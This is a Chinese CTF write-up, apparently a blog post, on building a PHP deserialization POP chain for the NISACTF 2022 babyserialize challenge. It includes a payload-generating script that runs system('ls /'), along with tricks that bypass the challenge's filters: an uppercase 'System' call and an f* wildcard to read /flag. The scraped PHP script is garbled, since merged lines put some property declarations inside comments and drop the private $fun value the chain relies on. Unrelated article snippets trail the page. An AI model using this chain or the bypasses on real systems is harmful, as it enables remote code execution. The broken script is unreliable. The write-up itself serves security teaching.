当前位置: 首页 > news >正文

pop链详细分析、构造(以[NISACTF 2022]babyserialize为例)

目录

[NISACTF 2022]babyserialize

(一)理清pop链(链尾 链头),标注步骤

1. 先找eval、flag这些危险函数和关键字样(这是链尾)

2.往eval()上面看

3.往$bb()上面看

4.往strtolower()上面看

5.往huang上面看

6.往nisa()上面看

发现需要触发__wakeup()函数,此处即为链头

(二) pop链脚本构造

按照已标注步骤进行

(三)过滤与绕过

1.绕过waf

2. 绕过preg_match正则匹配


[NISACTF 2022]babyserialize

学习参考!!![NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

打开链接需要构造pop链

(一)理清pop链(链尾 链头),标注步骤

1. 先找eval、flag这些危险函数和关键字样(这是链尾)

找到eval()函数,可以利用参数txw4ever,调用系统函数system等实现命令执行

传给谁就标注在谁的后面,这里表示第一步:要传给txw4ever

2.往eval()上面看

发现需要触发__invoke()函数

__invoke():把对象当成函数执行时触发        e.g $a()

故在所有类中找,去找类似$a()的对象函数,发现$bb(),它对应的参数是su

第二步:要调用参数su,传入NISA类

3.往$bb()上面看

发现需要触发__toString()函数

__toString():把对象当成字符串输出触发        e.g echo $a

在所有类中找,发现strtolower()函数:将字符串转换成小写。对应参数 a

第三步: 要调用参数a,传入Ilovetxw类

第四步:此处还存在一个条件,fun="sixsixsix",由于fun属性为private,故直接在类里面修改

4.往strtolower()上面看

发现需要触发__set()函数

__set():给不存在的成员属性赋值时触发

在所有类中找,发现huang调用了fun,但在Ilovetxw类里不存在参数 fun

第五步:要调用参数huang,传入four类

5.往huang上面看

发现需要触发__call()函数

__call():调用不存在的方法触发

在所有类中找,发现nisa(),该类中不存在方法

第六步: 要从$ext属性中调用nisa()方法,传入Ilovetxw类

6.往nisa()上面看

发现需要触发__wakeup()函数,此处即为链头

此函数在类TianXiWei中

__wakeup():字符串被反序列化时触发

至此,我们理清了pop链,并进行了传参的相关标注

(二) pop链脚本构造

按照已标注步骤进行

1.实例化类NISA赋值给a,从中调用参数txw4ever执行RCE(ls /查看根目录)

2.实例化类Ilovetxw赋值给b,从中调用参数su传入NISA类

3.实例化类four赋值给c,从中调用参数a传入Ilovetxw类

4.实例化类Ilovetxw赋值给b,从中调用参数huang传入four类

5.实例化类TianXiWei赋值给d,从中调用参数huang传入Ilovetxw类

6.序列化类TianXiWei并输出

最终pop链:

<?php
class NISA{public $fun="show_me_flag";public $txw4ever;			//1 system
}
class TianXiWei{public $ext;				//6 Ilovetxwpublic $x;
}
class Ilovetxw{public $huang;				//5 fourpublic $su;					//2 NISA
}
class four{public $a="TXW4EVER";		//3 Ilovetxwprivate $fun="sixsixsix";	//4 fun="sixsixsix"
}
$a=new NISA();
$a->txw4ever='system("ls /");';
$b = new Ilovetxw();
$b->su = $a;
$c=new four();
$c->a = $b;
$b = new Ilovetxw();
$b->huang = $c;
$d=new TianXiWei();
$d->ext = $b;
echo urlencode(serialize($d));
?>

传入发现只有提示flag在根目录,可直接使用system("cat /flag");读取flag,但存在过滤

(三)过滤与绕过

源码提示 存在两处需要绕过

1.绕过waf

有一个hint()函数,触发就会输出一些提示

让if语句判断不成立(fun=="show_me_flag"不成立)即可绕过这个函数

故 可在对象NISA中 调用fun属性 并重新赋值line

再次传入后发现成功绕过了waf,但还存在正则匹配

2. 绕过preg_match正则匹配

暗示存在关键字的过滤:

使用了正则匹配,但没给匹配的内容,用的......

此处system被过滤掉了,使用会返回 something wrong

        flag也被过滤掉了,使用时无回显

故 使用大写字母System、f*分别绕过,得到flag。

(1)System大写绕过:php内置函数名不区分大小写

(2)*号通配符:匹配以f开头的所有字符        f* 

相关文章:

pop链详细分析、构造(以[NISACTF 2022]babyserialize为例)

目录 [NISACTF 2022]babyserialize &#xff08;一&#xff09;理清pop链&#xff08;链尾 链头&#xff09;&#xff0c;标注步骤 1. 先找eval、flag这些危险函数和关键字样&#xff08;这是链尾&#xff09; 2.往eval()上面看 3.往$bb()上面看 4.往strtolower()上面看 …...

使用超声波麦克风阵列预测数控机床刀具磨损

预测性维护是使用传感器数据来推断机器状态&#xff0c;并从这些传感器数据中检测出在故障发生之前存在的缺陷或故障的过程。预测性维护在所有工业领域都是一种日益增长的趋势&#xff0c;包括轴承故障检测、齿轮磨损检测或往复式机器中的活塞磨损等许多其他例子。在预测性维护…...

怎么控制多个存储设备的访问权限?数据安全存储方案来了

数据安全存储是指将数据以安全的方式存储在存储系统中&#xff0c;以确保数据的机密性、完整性和可用性。要控制数据安全存储的权限以保障安全&#xff0c;可以采取以下措施&#xff1a; 访问控制列表&#xff08;ACLs&#xff09;&#xff1a;使用ACLs来定义对存储数据的访问权…...

麒麟系统mate_indicators进程占用内存资源高

一、问题现象 故障现象&#xff1a;环境出现内存溢出 操作系统&#xff1a;KYlin10-SP2 二、问题定位 发现mate-indicators进程占用内存资源达到节点总内存40%&#xff0c;导致服务出现内存熔断 临时解决 systemctl restart lightdm.service systemctl set-default multi-u…...

Docker高级篇之轻量化可视化工具Portainer

文章目录 1. 简介2. Portainer安装 1. 简介 Portianer是一款轻量级的应用&#xff0c;它提供了图形化界面&#xff0c;用于方便管理Docker环境&#xff0c;包括单机环境和集成环境。 2. Portainer安装 官网&#xff1a;https://www.portainer.io 这里我们使用docker命令安装&…...

Vue32-挂载流程

一、init阶段 生命周期本质是函数。 1-1、beforeCreate函数 注意&#xff1a; 此时vue没有_data&#xff0c;即&#xff1a;data中的数据没有收到。 1-2、create函数 二、生成虚拟DOM阶段 注意&#xff1a; 因为没有template选项&#xff0c;所以&#xff0c;整个div root都…...

算法金 | 一个强大的算法模型:t-SNE !!

大侠幸会&#xff0c;在下全网同名「算法金」 0 基础转 AI 上岸&#xff0c;多个算法赛 Top 「日更万日&#xff0c;让更多人享受智能乐趣」 t-SNE&#xff08;t-Distributed Stochastic Neighbor Embedding&#xff09;是一种用于降维和数据可视化的非线性算法。它被广泛应用于…...

用IAST工具强化“越权检测”能力,提升系统安全性

什么是越权漏洞 越权漏洞是一种常见的逻辑安全漏洞。越权漏洞指的是攻击者利用系统中的漏洞&#xff0c;获得超过其正常权限的访问权限&#xff0c;执行未授权操作。 越权漏洞主要分为两种类型&#xff1a;水平越权&#xff08;横向越权&#xff09;和垂直越权&#xff08;纵…...

VirtualStudio配置QT开发环境

环境 VirtualStudio2022Qt5.12.10 安装msvc工具链&#xff08;这一步不是必须的&#xff09; 打开virtual studio&#xff0c;打开Virtual Studio Installer界面选择要安装的msvc版本&#xff0c;点击安装 安装VirtualStudio扩展 在线安装 打开virtual Studio&#xff0c;…...

Nature发文介绍使用ChatGPT帮助学术写作的三种方式

文章链接&#xff1a;https://www.nature.com/articles/d41586-024-01042-3 一、介绍 这篇文章是由Dritjon Gruda撰写的&#xff0c;讨论了生成性人工智能&#xff08;AI&#xff09;在学术写作、编辑和同行评审中的三种应用方式。Gruda认为&#xff0c;尽管学术界对聊天机器…...

【网络安全的神秘世界】Kali 自带 Burp Suite 使用指南:字体与CA证书设置详解等

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 Kali 自带 Burp Suite 使用指南目录 Burp Suite的打开方式设置Burp Suite软件的字体大小查看Burp Suite 默认代理在火狐浏览器…...

【Go】爬虫数据解密_使用Go语言实现TripleDES加密和解密

是你多么温馨的目光 教我坚毅望着前路 叮嘱我跌倒不应放弃 没法解释怎可报尽亲恩 爱意宽大是无限 请准我说声真的爱你 &#x1f3b5; Beyond《真的爱你》 引言 Triple Data Encryption Standard (TripleDES 或 3DES) 是一种对称加密算法&#xff0c;它通…...

【HarmonyOS NEXT】鸿蒙 如何在包含web组件的页面 让默认焦点有效

页面包含web组件Button组件等&#xff0c;把页面的默认焦点放到Button组件上&#xff0c;不起效果。 因为web组件默认会在组件加载完成后获取焦点&#xff1b; 可以在web的网页加载完成时onPageEnd回调中&#xff0c;将设置默认获焦的组件通过focusControl.requestFocus方法主…...

mysql常用参数配置详解my.cnf my.ini

1.关注生产中高频常用参数 # 数据库时区 log_timestamps = system # 刷盘策略 0,1,2 innodb_flush_log_at_trx_commit # 定义了 InnoDB 用于写日志数据的缓冲区大小。当事务发生时,日志首先被写入这个缓冲区,然后再被刷新(flush)到磁盘上的重做日志文件(redo log file…...

GlusterFS企业分布式存储

GlusterFS 分布式文件系统代表-nfs常见分布式存储Gluster存储基础梳理GlusterFS 适合大文件还是小文件存储&#xff1f; 应用场景术语Trusted Storage PoolBrickVolumes Glusterfs整体工作流程-数据访问流程GlusterFS客户端访问流程 GlusterFS常用命令部署 GlusterFS 群集准备环…...

SSH生成SSH密钥(公钥和私钥)

在设置SSH服务时&#xff0c;生成SSH密钥&#xff08;公钥和私钥&#xff09;是一个常见的任务。这些密钥用于安全地进行身份验证&#xff0c;无需输入密码。以下是如何生成SSH密钥的步骤&#xff1a; 1. 生成SSH密钥对 首先&#xff0c;您需要在客户端机器上生成一个SSH密钥…...

阶段性总结:如何快速上手一个新的平台或者技术

作为研发一枚&#xff0c;为了实现客户的各种需求&#xff0c;为了避免重复造轮子&#xff0c;通常需要快速调查到哪个轮子&#xff08;比如各种平台&#xff0c;或者开发包等&#xff09;好用&#xff0c;然后快速熟悉和上手。在接触到一个新的平台或者技术的时候&#xff0c;…...

kettle从入门到精通 第七十一课 ETL之kettle 再谈http post,轻松掌握body中传递json参数

场景&#xff1a; kettle中http post步骤如何发送http请求且传递body参数&#xff1f; 解决方案&#xff1a; http post步骤中直接设置Request entity field字段即可。 1、手边没有现成的post接口&#xff0c;索性用python搭建一个简单的接口&#xff0c;关键代码如下&#…...

第十二章:会话控制

会话控制 文章目录 会话控制一、介绍二、cookie2.1 cookie 是什么2.2 cookie 的特点2.3 cookie 的运行流程2.4 浏览器操作 cookie2.5 cookie 的代码操作&#xff08;1&#xff09;设置 cookie&#xff08;2&#xff09;读取 cookie&#xff08;3&#xff09;删除 cookie 三、se…...

【LeetCode滑动窗口算法】长度最小的子数组 难度:中等

我们先看一下题目描述&#xff1a; 解法一&#xff1a;暴力枚举 时间复杂度&#xff1a;o(n^3) class Solution { public:int minSubArrayLen(int target, vector<int>& nums){int i 0, j 0;vector<int> v;for (;i < nums.size();i){int sum nums[i];fo…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八

现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet&#xff0c;点击确认后如下提示 最终上报fail 解决方法 内核升级导致&#xff0c;需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中&#xff0c;车辆不再仅仅是传统的交通工具&#xff0c;而是逐步演变为高度智能的移动终端。这一转变的核心支撑&#xff0c;来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒&#xff08;T-Box&#xff09;方案&#xff1a;NXP S32K146 与…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...

Linux中《基础IO》详细介绍

目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改&#xff0c;实现简单cat命令 输出信息到显示器&#xff0c;你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...

第八部分:阶段项目 6:构建 React 前端应用

现在&#xff0c;是时候将你学到的 React 基础知识付诸实践&#xff0c;构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段&#xff0c;你可以先使用模拟数据&#xff0c;或者如果你的后端 API&#xff08;阶段项目 5&#xff09;已经搭建好&#xff0c;可以直接连…...

pgsql:还原数据库后出现重复序列导致“more than one owned sequence found“报错问题的解决

问题&#xff1a; pgsql数据库通过备份数据库文件进行还原时&#xff0c;如果表中有自增序列&#xff0c;还原后可能会出现重复的序列&#xff0c;此时若向表中插入新行时会出现“more than one owned sequence found”的报错提示。 点击菜单“其它”-》“序列”&#xff0c;…...